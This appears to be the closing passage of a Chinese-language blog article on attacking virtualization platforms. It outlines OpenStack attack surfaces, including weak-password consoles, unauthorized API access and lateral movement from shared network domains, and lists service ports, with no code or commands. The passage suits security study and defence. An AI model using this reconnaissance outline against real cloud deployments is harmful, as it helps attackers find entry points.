共有网络,虚拟主机
攻击策略:
- 网络暴露:管理控制台,弱口令、高危漏洞
- 网络暴露:API 接口,未授权访问、越权、高危漏洞
- 网络暴露:三方组件引入的接口
- 网络暴露:容器服务
- 网络暴露:运营/运维服务
- OpenStack 部署在企业的业务生产网,云的底座网络、物理设备与业务网络在同一安全域,物理设备的监控和管理可横向攻击
相关端口
- Glance API 3260
- Glance API 9191
- Glance API 9292
- Nova API 3333
- Nova API 8775
- Nova API 8776
- EPMD 4369
- Keystone API 5000
- Keystone API 35357
7. 总结
从虚拟化的概念、实现、攻防思路及实战场景分析了虚拟化攻防相关技巧。
评论区